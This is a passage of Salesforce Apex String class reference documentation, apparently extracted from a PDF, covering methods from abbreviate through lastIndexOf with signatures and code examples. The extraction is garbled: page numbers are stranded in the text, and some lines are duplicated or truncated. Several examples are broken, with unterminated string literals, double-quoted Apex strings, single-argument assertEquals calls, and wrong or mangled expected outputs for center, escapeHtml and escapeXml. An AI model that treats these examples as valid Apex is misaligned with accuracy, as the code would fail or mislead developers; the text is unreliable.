Returns a String whose escaped Unicode characters are unescaped.

unescapeXml()
Unescapes the characters in a String using XML entities.

valueOf(dateToConvert)
Returns a String that represents the specified Date in the standard "yyyy-MM-dd" format.

valueOf(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard "yyyyMMdd-HHmm:ss" format for the local time zone.

valueOf(decimalToConvert)
Returns a String that represents the specified Decimal.

valueOf(doubleToConvert)
Returns a String that represents the specified Double.

valueOf(integerToConvert)
Returns a String that represents the specified Integer.

valueOf(longToConvert)
Returns a String that represents the specified Long.

valueOf(toConvert)
Returns a string representation of the specified object argument.

valueOfGmt(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard "yyyyMMdd-HHmm:ss" format for the GMT time zone.

abbreviate(maxWidth)
Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than the specified length; otherwise, returns the original String without ellipses.

Signature
public String abbreviate(Integer maxWidth)

Parameters
maxWidth
Type: Integer
If maxWidth is less than four, this method throws a run-time exception.

Return Value
Type: String

Example
String s = 'Hello Maximillian';
String s2 = s.abbreviate(8);
System.assertEquals('Hello...', s2);
System.assertEquals(8, s2.length());

**abbreviate(maxWidth, offset)**

Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String has ellipses appended at the start and the end if characters have been removed at these locations.

**Signature**

```java
public String abbreviate(Integer maxWidth, Integer offset)
```

**Parameters**

- **maxWidth**
  - Type: Integer
  - Note that the offset is not necessarily the leftmost character in the returned String or the first character following the ellipses, but it appears somewhere in the result. Regardless, `abbreviate` won’t return a String of length greater than `maxWidth`. If `maxWidth` is too small, this method throws a run-time exception.

- **offset**
  - Type: Integer

**Return Value**

Type: String

**Example**

```java
String s = 'Hello Maximillian';
// Start at M
String s2 = s.abbreviate(9,6);
System.assertEquals('...Max...', s2);
System.assertEquals(9, s2.length());
```

**capitalize()**

Returns the current String with the first letter changed to title case.

**Signature**

```java
public String capitalize()
```

**Return Value**

Type: String

**Usage**

This method is based on the `Character.toTitleCase(char)` Java method.

2229
Example

```java
String s = 'hello maximillian';
String s2 = s.capitalize();
System.assertEquals('Hello maximillian', s2);
```

center(size)

Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without added spaces.

Signature

```java
public String center(Integer size)
```

Parameters

- `size`
  - Type: Integer

Return Value

- Type: String

Example

```java
String s = 'hello';
String s2 = s.center(9);
System.assertEquals(' hello ', s2);
```

center(size, paddingString)

Returns a version of the current String of the specified size padded with the specified string on the left and right, so that it appears in the center. If the specified size is smaller than the current String size, the entire String is returned without padding.

Signature

```java
public String center(Integer size, String paddingString)
```

Parameters

- `size`
  - Type: Integer

- `paddingString`
  - Type: String

Return Value

- Type: String
Example

```java
String s = 'hello';
String s2 = s.center(9, '-');
System.assertEquals('--hello--', s2);
```

**charAt(index)**

Returns the value of the character at the specified index.

**Signature**

```java
public Integer charAt(Integer index)
```

**Parameters**

- **index**
  
  Type: `Integer`
  
  The index of the character to get the value of.

**Return Value**

- **Type**: `Integer`
  
  The integer value of the character.

**Usage**

The `charAt` method returns the value of the character pointed to by the specified index. If the index points to the beginning of a surrogate pair (the high-surrogate code point), this method returns only the high-surrogate code point. To return the supplementary code point corresponding to a surrogate pair, call `codePointAt` instead.

**Example**

This example gets the value of the first character at index 0.

```java
String str = 'Ω is Omega.';
System.assertEquals(937, str.charAt(0));
```

This example shows the difference between `charAt` and `codePointAt`. The example calls these methods on escaped supplementary Unicode characters. `charAt(0)` returns the high surrogate value, which corresponds to \uD835. `codePointAt(0)` returns the value for the entire surrogate pair.

```java
String str = '\uD835\uDD0A';
System.assertEquals(55349, str.charAt(0),
    'charAt(0) didn\'t return the high surrogate.);
System.assertEquals(120074, str.codePointAt(0),
    'codePointAt(0) didn\'t return the entire two-character supplementary value.');
```

codePointAt(index)

Returns the Unicode code point value at the specified index.
Signature

public Integer codePointAt(Integer index)

Parameters

index
Type: Integer
The index of the characters (Unicode code units) in the string. The index range is from zero to the string length minus one.

Return Value

Type: Integer
The Unicode code point value at the specified index.

Usage

If the index points to the beginning of a surrogate pair (the high-surrogate code point), and the character value at the following index points to the low-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. Otherwise, this method returns the character value at the given index.

For more information on Unicode and surrogate pairs, see The Unicode Consortium.

Example

This example gets the code point value of the first character at index 0, which is the escaped Omega character. Also, the example gets the code point at index 20, which corresponds to the escaped supplementary Unicode characters (a pair of characters). Finally, it verifies that the escaped and unescaped forms of Omega have the same code point values.

The supplementary characters in this example (\uD835\uDD0A) correspond to mathematical fraktur capital G:

```java
String str = '\u03A9 is Ω (Omega), and \uD835\uDD0A ' +
' is Fraktur Capital G.';
System.assertEquals(937, str.codePointAt(0));
System.assertEquals(120074, str.codePointAt(20));
// Escaped or unescaped forms of the same character have the same code point
System.assertEquals(str.codePointAt(0), str.codePointAt(5));
```

codePointBefore(index)

Returns the Unicode code point value that occurs before the specified index.

Signature

public Integer codePointBefore(Integer index)

Parameters

index
Type: Integer
The index before the Unicode code point that is to be returned. The index range is from one to the string length.
Return Value
Type: Integer
The character or Unicode code point value that occurs before the specified index.

Usage
If the character value at $index - 1$ is the low-surrogate code point, and $index - 2$ is not negative and the character at this index location is the high-surrogate code point, this method returns the supplementary code point corresponding to this surrogate pair. If the character value at $index - 1$ is an unpaired low-surrogate or high-surrogate code point, the surrogate value is returned.
For more information on Unicode and surrogate pairs, see The Unicode Consortium.

Example
This example gets the code point value of the first character (before index 1), which is the escaped Omega character. Also, the example gets the code point at index 20, which corresponds to the escaped supplementary characters (the two characters before index 22).

```java
String str = 'Ω is Ω (Omega), and \uD835\uDD0A ' +
    ' is Fraktur Capital G.';
System.assertEquals(937, str.codePointBefore(1));
System.assertEquals(120074, str.codePointBefore(22));
```

codePointCount(beginIndex, endIndex)
Returns the number of Unicode code points within the specified text range.

Signature
public Integer codePointCount(Integer beginIndex, Integer endIndex)

Parameters
beginIndex
Type: Integer
The index of the first character in the range.

endIndex
Type: Integer
The index after the last character in the range.

Return Value
Type: Integer
The number of Unicode code points within the specified range.

Usage
The specified range begins at $beginIndex$ and ends at $endIndex - 1$. Unpaired surrogates within the text range count as one code point each.
Example

This example writes the count of code points in a substring that contains an escaped Unicode character and another substring that contains Unicode supplementary characters, which count as one code point.

```java
String str = '\u03A9 and \uD835\uDD0A characters.';
System.debug('Count of code points for ' + str.substring(0,1) + ': ' + str.codePointCount(0,1));
System.debug('Count of code points for ' + str.substring(6,8) + ': ' + str.codePointCount(6,8));
```

// Output:
// Count of code points for Ω: 1
// Count of code points for □: 1

**compareTo(secondString)**

Compares two strings lexicographically, based on the Unicode value of each character in the Strings.

**Signature**

```java
public Integer compareTo(String secondString)
```

**Parameters**

`secondString`

Type: `String`

**Return Value**

Type: `Integer`

**Usage**

The result is:

- A negative Integer if the String that called the method lexicographically precedes `secondString`
- A positive Integer if the String that called the method lexicographically follows `secondString`
- Zero if the Strings are equal

If there is no index position at which the Strings differ, then the shorter String lexicographically precedes the longer String.

Note that this method returns 0 whenever the `equals` method returns true.

**Example**

```java
String myString1 = 'abcde';
String myString2 = 'abcd';
Integer result =
    myString1.compareTo(myString2);
System.assertEquals(result, 1);
```
contains(substring)

Returns true if and only if the String that called the method contains the specified sequence of characters in substring.

Signature

public Boolean contains(String substring)

Parameters

substring
Type: String

Return Value
Type: Boolean

Example

String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result =
    myString1.contains(myString2);
System.assertEquals(result, true);

containsAny(inputString)

Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.

Signature

public Boolean containsAny(String inputString)

Parameters

inputString
Type: String

Return Value
Type: Boolean

Example

String s = 'hello';
Boolean b1 = s.containsAny('hx');
Boolean b2 = s.containsAny('x');
System.assertEquals(true, b1);
System.assertEquals(false, b2);
containsIgnoreCase(substring)

Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.

Signature

public Boolean containsIgnoreCase(String substring)

Parameters

substring

Type: String

Return Value

Type: Boolean

Example

```java
String s = 'hello';
Boolean b = s.containsIgnoreCase('HE');
System.assertEquals(
  true,
  b);
```

containsNone(substring)

Returns true if the current String doesn't contain the specified sequence of characters; otherwise, returns false.

Signature

public Boolean containsNone(String substring)

Parameters

substring

Type: String

If substring is an empty string or the current String is empty, this method returns true. If substring is null, this method returns a run-time exception.

Return Value

Type: Boolean

Example

```java
String s1 = 'abcde';
System.assert(s1.containsNone('fg'));
```
**containsOnly(inputString)**

Returns **true** if the current String contains characters only from the specified sequence of characters and not any other characters; otherwise, returns **false**.

**Signature**

```java
public Boolean containsOnly(String inputString)
```

**Parameters**

- **inputString**
  Type: **String**

**Return Value**

Type: **Boolean**

**Example**

```java
String s1 = 'abba';
String s2 = 'abba xyz';
Boolean b1 =
    s1.containsOnly('abcd');
System.assertEquals(true, b1);
Boolean b2 =
    s2.containsOnly('abcd');
System.assertEquals(false, b2);
```

**containsWhitespace()**

Returns **true** if the current String contains any white space characters; otherwise, returns **false**.

**Signature**

```java
public Boolean containsWhitespace()
```

**Return Value**

Type: **Boolean**

**Example**

```java
String s = 'Hello Jane';
System.assertEquals(s.containsWhitespace()); //true
s = 'HelloJane';
System.assertEquals(s.containsWhitespace()); //true
```
System.assert(s.containsWhitespace()); //true
s = 'HelloJane';
System.assert(!s.containsWhitespace()); //false

countMatches (substring)
Returns the number of times the specified substring occurs in the current String.

Signature
public Integer countMatches(String substring)

Parameters
substring
Type: String

Return Value
Type: Integer

Example
String s = 'Hello Jane';
System.assertEquals(1, s.countMatches('Hello'));
s = 'Hello Hello';
System.assertEquals(2, s.countMatches('Hello'));
s = 'Hello hello';
System.assertEquals(1, s.countMatches('Hello'));

deleteWhitespace()
Returns a version of the current String with all white space characters removed.

Signature
public String deleteWhitespace()

Return Value
Type: String

Example
String s1 = ' Hello Jane ';
String s2 = 'HelloJane';
System.assertEquals(s2, s1.deleteWhitespace());
**difference (secondString)**
Returns the difference between the current String and the specified String.

**Signature**

```java
public String difference(String secondString)
```

**Parameters**

secondString
Type: String

If `secondString` is an empty string, this method returns an empty string. If `secondString` is null, this method throws a run-time exception.

**Return Value**

Type: String

**Example**

```java
String s = 'Hello Jane';
String d1 =
    s.difference('Hello Max');
System.assertEquals('Max',
    d1);
String d2 =
    s.difference('Goodbye');
System.assertEquals('Goodbye',
    d2);
```

**endsWith (suffix)**

Returns true if the String that called the method ends with the specified suffix.

**Signature**

```java
public Boolean endsWith(String suffix)
```

**Parameters**

suffix
Type: String

**Return Value**

Type: Boolean
Example

String s = 'Hello Jason';
System.assert(s.endsWith('Jason'));

endsWithIgnoreCase(suffix)

Returns true if the current String ends with the specified suffix; otherwise, returns false.

Signature

public Boolean endsWithIgnoreCase(String suffix)

Parameters

suffix
Type: String

Return Value

Type: Boolean

Example

String s = 'Hello Jason';
System.assert(s.endsWithIgnoreCase('jason'));

equals(secondString)

Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.

Signature

public Boolean equals(String secondString)

Parameters

secondString
Type: String

Return Value

Type: Boolean

Usage

This method returns true when the compareTo method returns 0.
Use this method to perform case-sensitive comparisons. In contrast, the == operator performs case-insensitive string comparisons to match Apex semantics.
Example

```java
String myString1 = 'abcde';
String myString2 = 'abcd';
Boolean result = myString1.equals(myString2);
System.assertEquals(result, false);
```

equals(stringOrId)

Returns `true` if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use this method to compare a string to an object that represents a string or an ID.

**Signature**

```java
public Boolean equals(Object stringOrId)
```

**Parameters**

- `stringOrId`
  Type: Object

**Return Value**

Type: Boolean

**Usage**

If you compare ID values, the lengths of IDs don’t need to be equal. For example, if you compare a 15-character ID string to an object that represents the equivalent 18-character ID value, this method returns `true`. For more information about 15-character and 18-character IDs, see the ID data type.

Use this method to perform case-sensitive comparisons. In contrast, the `==` operator performs case-insensitive string comparisons to match Apex semantics.

**Example**

These examples show comparisons between different types of variables with both equal and unequal values. The examples also show how Apex automatically converts certain values before comparing them.

```java
// Compare a string to an object containing a string
Object obj1 = 'abc';
String str = 'abc';
Boolean result1 = str.equals(obj1);
System.assertEquals(true, result1);

// Compare a string to an object containing a number
Integer obj2 = 100;
Boolean result2 = str.equals(obj2);
System.assertEquals(false, result2);

// Compare a string to an ID of the same length.
// 15-character ID
Id idValue15 = '001D000000Ju1zH';
```
```java
// 15-character ID string value
String stringValue15 = '001D000000Ju1zH';
Boolean result3 = stringValue15.equals(IdValue15);
System.assertEquals(true, result3);

// Compare two equal ID values of different lengths:
// 15-character ID and 18-character ID
Id idValue18 = '001D000000Ju1zHIAR';
Boolean result4 = stringValue15.equals(IdValue18);
System.assertEquals(true, result4);
```

**equalsIgnoreCase(secondString)**

Returns `true` if the `secondString` is not null and represents the same sequence of characters as the String that called the method, ignoring case.

**Signature**

```java
public Boolean equalsIgnoreCase(String secondString)
```

**Parameters**

- `secondString`
  - Type: `String`

**Return Value**

- Type: `Boolean`

**Example**

```java
String myString1 = 'abcd';
String myString2 = 'ABCD';
Boolean result = myString1.equalsIgnoreCase(myString2);
System.assertEquals(result, true);
```

**escapeCsv()**

Returns a String for a CSV column enclosed in double quotes, if required.

**Signature**

```java
public String escapeCsv()
```

**Return Value**

- Type: `String`
Usage
If the String contains a comma, newline or double quote, the returned String is enclosed in double quotes. Also, any double quote characters in the String are escaped with another double quote.
If the String doesn't contain a comma, newline or double quote, it is returned unchanged.

Example
```
String s1 = 'Max1, "Max2"';
String s2 = s1.escapeCsv();
System.assertEquals("Max1, "Max2""", s2);
```

escapeEcmaScript()
Escapes the characters in the String using EcmaScript String rules.

Signature
```
public String escapeEcmaScript()
```

Return Value
Type: String

Usage
The only difference between Apex strings and EcmaScript strings is that in EcmaScript, a single quote and forward-slash (/) are escaped.

Example
```
String s1 = '"grade": 3.9/4.0';
String s2 = s1.escapeEcmaScript();
System.debug(s2);
// Output is:
// "\"grade\": 3.9\/4.0
System.assertEquals(
    '\"grade\": 3.9\/4.0',
    s2);
```

escapeHtml3()
Escapes the characters in a String using HTML 3.0 entities.

Signature
```
public String escapeHtml3()
```

Return Value
Type: String
Example

```java
String s1 = "<Black&White>";
String s2 = s1.escapeHtml3();
System.debug(s2);
// Output:
// &quot;&lt;Black&amp; White&gt;&quot;
```

**escapeHtml4()**

Escapes the characters in a String using HTML 4.0 entities.

**Signature**

```java
public String escapeHtml4()
```

**Return Value**

Type: String

**Example**

```java
String s1 = "<Black&White>";
String s2 = s1.escapeHtml4();
System.debug(s2);
// Output:
// &quot;&lt;Black&amp; White&gt;&quot;
```

**escapeJava()**

Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters, such as tab, backslash, and carriage return characters.

**Signature**

```java
public String escapeJava()
```

**Return Value**

Type: String

The escaped string.
Reference

String Class

Example
// Input string contains quotation marks
String s = 'Company: "Salesforce.com"';
String escapedStr = s.escapeJava();
// Output string has the quotes escpaded
System.assertEquals('Company: \\"Salesforce.com\\"', escapedStr);

escapeSingleQuotes(stringToEscape)
Returns a String with the escape character (\) added before any single quotation marks in the String s.

Signature
public static String escapeSingleQuotes(String stringToEscape)

Parameters
stringToEscape

Type: String

Return Value
Type: String

Usage
This method is useful when creating a dynamic SOQL statement, to help prevent SOQL injection. For more information on dynamic
SOQL, see Dynamic SOQL.

Example
String s = '\'Hello Jason\'';
system.debug(s); // Outputs 'Hello Jason'
String escapedStr = String.escapeSingleQuotes(s);
// Outputs \'Hello Jason\'
system.debug(escapedStr);
// Escapes the string \\\' to string \'
system.assertEquals('\\\'Hello Jason\\\'', escapedStr);

escapeUnicode()
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.

Signature
public String escapeUnicode()

Return Value
Type: String

2245


The escaped string.

Example

```java
String s = 'De onde você é?';
String escapedStr = s.escapeUnicode();
System.assertEquals('De onde voc\u00EA \u00E9?', escapedStr);
```

**escapeXml()**

Escapes the characters in a String using XML entities.

**Signature**

```java
public String escapeXml()
```

**Return Value**

Type: String

**Usage**

Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities. Unicode characters greater than 0x7f are not escaped.

Example

```java
String s1 = '"<Black&White>"';
String s2 =  
    s1.escapeXml();
System.debug(s2);
// Output:
// "&lt;Black&amp;&quot;
// White&gt;&quot;
```

**format(stringToFormat, formattingArguments)**

Treat the current string as a pattern that should be used for substitution in the same manner as `apex:outputText`.

**Signature**

```java
public static String format(String stringToFormat, List<String> formattingArguments)
```

**Parameters**

- **stringToFormat**
  Type: String

- **formattingArguments**
  Type: List<String>
Return Value
Type: String

Example
```
String placeholder = 'Hello {0}, {1} is cool!';
List<String> fillers = new String[]{'Jason','Apex'};
String formatted = String.format(placeholder, fillers);
System.assertEquals('Hello Jason, Apex is cool!', formatted);
```

`fromCharArray(charArray)`

Returns a String from the values of the list of integers.

Signature
```
public static String fromCharArray(List<Integer> charArray)
```

Parameters
`charArray`
Type: List<Integer>

Return Value
Type: String

Example
```
List<Integer> charArr= new Integer[]{74};
String convertedChar = String.fromCharArray(charArr);
System.assertEquals('J', convertedChar);
```

`getChars()`

Returns an array of character values that represent the characters in this string.

Signature
```
public List<Integer> getChars()
```

Return Value
Type: List<String>
A list of integers, each corresponding to a character value in the string.
Example

This sample converts a string to a character array and then gets the first array element, which corresponds to the value of 'J'.

```java
String str = 'Jane goes fishing.);
Integer[] chars = str.getChars());
// Get the value of 'J'
System.assertEquals(74, chars[0]);
```

getCommonPrefix(strings)

Returns the initial sequence of characters as a String that is common to all the specified Strings.

Signature

```java
public static String getCommonPrefix(List<String> strings)
```

Parameters

`strings`

Type: List<String>

Return Value

Type: String

Example

```java
List<String> ls = new List<String>{'SFDCApex', 'SFDCVisualforce'};
String prefix = String.getCommonPrefix(ls);
System.assertEquals('SFDC', prefix);
```

getLevenshteinDistance(stringToCompare)

Returns the Levenshtein distance between the current String and the specified String.

Signature

```java
public Integer getLevenshteinDistance(String stringToCompare)
```

Parameters

`stringToCompare`

Type: String

Return Value

Type: Integer
Usage

The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character modification (deletion, insertion or substitution).

Example

```java
String s = 'Hello Joe';
Integer i = s.getLevenshteinDistance('Hello Max');
System.assertEquals(3, i);
```

getLevenshteinDistance(stringToCompare, threshold)

Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold; otherwise, returns -1.

Signature

```java
public Integer getLevenshteinDistance(String stringToCompare, Integer threshold)
```

Parameters

- **stringToCompare**
  Type: String

- **threshold**
  Type: Integer

Return Value

Type: Integer

Usage

The Levenshtein distance is the number of changes needed to change one String into another. Each change is a single character modification (deletion, insertion or substitution).

Example:

In this example, the Levenshtein distance is 3, but the threshold argument is 2, which is less than the distance, so this method returns -1.

```java
String s = 'Hello Jane';
Integer i = s.getLevenshteinDistance('Hello Max', 2);
System.assertEquals(-1, i);
```

hashCode()

Returns a hash code value for this string.
Signature

```
public Integer hashCode()
```

Return Value

Type: Integer

Usage

This value is based on the hash code computed by the Java `String.hashCode` counterpart method.

You can use this method to simplify the computation of a hash code for a custom type that contains String member variables. You can compute your type's hash code value based on the hash code of each String variable. For example:

For more details about the use of hash code methods with custom types, see Using Custom Types in Map Keys and Sets.

Example

```
public class MyCustomClass {
    String x, y;
    // Provide a custom hash code
    public Integer hashCode() {
        return (31*x.hashCode())^(y.hashCode());
    }
}
```

`indexOf(substring)`

Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.

Signature

```
public Integer indexOf(String substring)
```

Parameters

`substring`

Type: String

Return Value

Type: Integer

Example

```
String myString1 = 'abcde';
String myString2 = 'cd';
Integer result = myString1.indexOf(myString2);
System.assertEquals(2, result);
```
**indexOf(substring, index)**
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring does not occur, this method returns -1.

**Signature**
```
public Integer indexOf(String substring, Integer index)
```

**Parameters**
- **substring**
  - Type: `String`
- **index**
  - Type: `Integer`

**Return Value**
Type: `Integer`

**Example**
```
String myString1 = 'abcdabcd';
String myString2 = 'ab';
Integer result = myString1.indexOf(myString2, 1);
System.assertEquals(4, result);
```

**indexOfAny(substring)**
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns -1.

**Signature**
```
public Integer indexOfAny(String substring)
```

**Parameters**
- **substring**
  - Type: `String`

**Return Value**
Type: `Integer`

**Example**
```
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAny(s2);
System.assertEquals(2, result);
```
**indexOfAnyBut(substring)**

Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.

**Signature**

```java
public Integer indexOfAnyBut(String substring)
```

**Parameters**

- **substring**
  - Type: `String`

**Return Value**

- Type: `Integer`

**Example**

```java
String s1 = 'abcd';
String s2 = 'xc';
Integer result = s1.indexOfAnyBut(s2);
System.assertEquals(0, result);
```

---

**indexOfChar(character)**

Returns the index of the first occurrence of the character that corresponds to the specified character value.

**Signature**

```java
public Integer indexOfChar(Integer character)
```

**Parameters**

- **character**
  - Type: `Integer`
  - The integer value of the character in the string.

**Return Value**

- Type: `Integer`
  - The index of the first occurrence of the specified character, -1 if the character is not found.

**Usage**

The index that this method returns is in Unicode code units.
Example

String str = '\u03A9 is Ω (Omega)';
// Returns 0, which is the first character.
System.debug('indexOfChar(937)' + str.indexOfChar(937));
// Output:
// indexOfChar(937)=0

indexOfChar(character, startIndex)

Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified index.

Signature

public Integer indexOfChar(Integer character, Integer startIndex)

Parameters

character

Type: Integer

The integer value of the character to look for.

startIndex

Type: Integer

The index to start the search from.

Return Value

Type: Integer

The index, starting from the specified start index, of the first occurrence of the specified character, -1 if the character is not found.

Usage

The index that this method returns is in Unicode code units.

Example

This example shows different ways of searching for the index of the Omega character. The first call to indexOfChar doesn't specify a start index and therefore the returned index is 0, which is the first occurrence of Omega in the entire string. The subsequent calls specify a start index to find the occurrence of Omega in substrings that start at the specified index.

String str = 'Ω and \u03A9 and Ω';
System.debug('indexOfChar(937)' + str.indexOfChar(937));
System.debug('indexOfChar(937,1)' + str.indexOfChar(937,1));
System.debug('indexOfChar(937,10)' + str.indexOfChar(937,10));
// Output:
// indexOfChar(937)=0
indexOfDifference(stringToCompare)

Returns the zero-based index of the character where the current String begins to differ from the specified String.

Signature

public Integer indexOfDifference(String stringToCompare)

Parameters

stringToCompare
Type: String

Return Value

Type: Integer

Example

String s1 = 'abcd';
String s2 = 'abxc';
Integer result = s1.indexOfDifference(s2);
System.assertEquals(2, result);

indexOfIgnoreCase(substring)

Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur, this method returns -1.

Signature

public Integer indexOfIgnoreCase(String substring)

Parameters

substring
Type: String

Return Value

Type: Integer

Example

String s1 = 'abcd';
String s2 = 'BC';
indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index i, without regard to case. If the substring does not occur, this method returns -1.

Signature
public Integer indexOfIgnoreCase(String substring, Integer startPosition)

Parameters
substring
Type: String
startPosition
Type: Integer

Return Value
Type: Integer

isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.

Signature
public Boolean isAllLowerCase()

Return Value
Type: Boolean

Example
String allLower = 'abcde';
System.assert(allLower.isAllLowerCase());

isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.

Signature
public Boolean isAllUpperCase()
Return Value
Type: Boolean

Example
```
String allUpper = 'ABCDE';
System.assert(allUpper.isAllUpperCase());
```

**isAlpha()**
Returns **true** if all characters in the current String are Unicode letters only; otherwise, returns **false**.

Signature
```
public Boolean isAlpha()
```

Return Value
Type: Boolean

Example
```
// Letters only
String s1 = 'abc';
// Returns true
Boolean b1 =
    s1.isAlpha();
System.assertEquals(
    true, b1);

// Letters and numbers
String s2 = 'abc 21';
// Returns false
Boolean b2 =
    s2.isAlpha();
System.assertEquals(
    false, b2);
```

**isAlphaSpace()**
Returns **true** if all characters in the current String are Unicode letters or spaces only; otherwise, returns **false**.

Signature
```
public Boolean isAlphaSpace()
```

Return Value
Type: Boolean
Example

```java
String alphaSpace = 'aA Bb';
System.assert(alphaSpace.isAlphaSpace());
String notAlphaSpace = 'ab 12';
System.assert(!notAlphaSpace.isAlphaSpace());
notAlphaSpace = 'aA$Bb';
System.assert(!notAlphaSpace.isAlphaSpace());
```

**isAlphabetic()**

Returns **true** if all characters in the current String are Unicode letters or numbers only; otherwise, returns **false**.

**Signature**

`public Boolean isAlphabetic()`

**Return Value**

Type: Boolean

**Example**

```java
// Letters only
String s1 = 'abc';
// Returns true
Boolean b1 =
   s1.isAlphabetic();
System.assertEquals(
   true, b1);

// Letters and numbers
String s2 = 'abc021';
// Returns true
Boolean b2 =
   s2.isAlphabetic();
System.assertEquals(
   true, b2);
```

**isAlphanumeric()**

Returns **true** if all characters in the current String are Unicode letters or numbers only; otherwise, returns **false**.

**Signature**

`public Boolean isAlphanumeric()`

**Return Value**

Type: Boolean

**isAlphanumericSpace()**

Returns **true** if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns **false**.

**Signature**

`public Boolean isAlphanumericSpace()`

**Return Value**

Type: Boolean
Example

```java
String alphanumSpace = 'AE 86';
System.assert(alphanumSpace.isAlphanumericSpace());
String notAlphanumericSpace = 'aA$12';
System.assert(!notAlphanumericSpace.isAlphaSpace());
```

isAsciiPrintable()
Returns `true` if the current String contains only ASCII printable characters; otherwise, returns `false`.

Signature

```java
public Boolean isAsciiPrintable()
```

Return Value

Type: Boolean

Example

```java
String ascii = 'abcd1234!@#$%^&*()`~-_+={}[}]|<,>.?';
System.assert(ascii.isAsciiPrintable());
String notAscii = '\√';
System.assert(!notAscii.isAsciiPrintable());
```

isBlank(inputString)
Returns `true` if the specified String is white space, empty (''), or null; otherwise, returns `false`.

Signature

```java
public static Boolean isBlank(String inputString)
```

Parameters

inputString
Type: String

Return Value

Type: Boolean

Example

```java
String blank = '';
String nullString = null;
String whitespace = ' ';
System.assert(String.isBlank(blank));
System.assert(String.isBlank(nullString));
System.assert(String.isBlank(whitespace));
```
isEmpty(inputString)
Returns true if the specified String is empty ("") or null; otherwise, returns false.

Signature
public static Boolean isEmpty(String inputString)

Parameters
inputString
Type: String

Return Value
Type: Boolean

Example
String empty = "";
String nullString = null;
System.assert(String.isEmpty(empty));
System.assert(String.isEmpty(nullString));
String whitespace = " ";
String alpha = 'Hello';
System.assert(!String.isEmpty(whitespace));
System.assert(!String.isEmpty(alpha));

isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (""), and not null; otherwise, returns false.

Signature
public static Boolean isNotBlank(String inputString)

Parameters
inputString
Type: String

Return Value
Type: Boolean
Example

```java
String alpha = 'Hello world!';
System.assert(String.isNotBlank(alpha));
String blank = ' ';
String nullString = null;
String whitespace = ' 
';
System.assert(!String.isNotBlank(blank));
System.assert(!String.isNotBlank(nullString));
System.assert(!String.isNotBlank(whitespace));
```

**isNotEmpty** (*inputString*)

Returns `true` if the specified String is not empty ("") and not null; otherwise, returns `false`.

**Signature**

```java
public static Boolean isNotEmpty(String inputString)
```

**Parameters**

- `inputString`  
  Type: `String`

**Return Value**

Type: `Boolean`

Example

```java
String whitespace = ' 
';
String alpha = 'Hello world!';
System.assert(String.isNotEmpty(whitespace));
System.assert(String.isNotEmpty(alpha));
String empty = ' 
';
String nullString = null;
System.assert(!String.isNotEmpty(empty));
System.assert(!String.isNotEmpty(nullString));
```

**isNumeric**

Returns `true` if the current String contains only Unicode digits; otherwise, returns `false`.

**Signature**

```java
public Boolean isNumeric()
```

**Return Value**

Type: `Boolean`
Usage
A decimal point (1.2) is not a Unicode digit.

Example
```java
String numeric = '1234567890';
System.assert(numeric.isNumeric());
String alphanumeric = 'R32';
String decimalPoint = '1.2';
System.assert(!alphanumeric.isNumeric());
System.assert(!decimalPoint.isNumeric());
```

`isNumericSpace()`
Returns `true` if the current String contains only Unicode digits or spaces; otherwise, returns `false`.

Signature
```
public Boolean isNumericSpace()
```

Return Value
Type: `Boolean`

Usage
A decimal point (1.2) is not a Unicode digit.

Example
```java
String numericSpace = '1 2 3';
System.assert(numericSpace.isNumericSpace());
String notNumericSpace = 'FD3S FC3S';
System.assert(!notNumericSpace.isNumericSpace());
```

`isWhitespace()`
Returns `true` if the current String contains only white space characters or is empty; otherwise, returns `false`.

Signature
```
public Boolean isWhitespace()
```

Return Value
Type: `Boolean`
Example

```java
String whitespace = ' ';  
String blank = ''; 
System.assert(whitespace.isWhitespace()); 
System.assert(blank.isWhitespace()); 
String alphanum = 'SIL80'; 
System.assert(!alphanum.isWhitespace());
```

`join(iterableObj, separator)`

Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.

**Signature**

```java
public static String join(Object iterableObj, String separator)
```

**Parameters**

- `iterableObj`
  Type: Object

- `separator`
  Type: String

**Return Value**

Type: String

**Usage**

```java
List<Integer> li = new List<Integer>
    {10, 20, 30};
String s = String.join(
    li, '/');
System.assertEquals('10/20/30', s);
```

`lastIndexOf(substring)`

Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.

**Signature**

```java
public Integer lastIndexOf(String substring)
```

**Parameters**

- `substring`
  Type: String
Return Value
Type: Integer

Example

```java
String s1 = 'abcdefgc';
Integer i1 = s1.lastIndexOf('c');
System.assertEquals(7, i1);
```

`lastIndexOf(substring, endPosition)`

Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified index.

Signature

```java
public Integer lastIndexOf(String substring, Integer endPosition)
```

Parameters

- `substring`
  Type: String
- `endPosition`
  Type: Integer

Return Value
Type: Integer

Usage

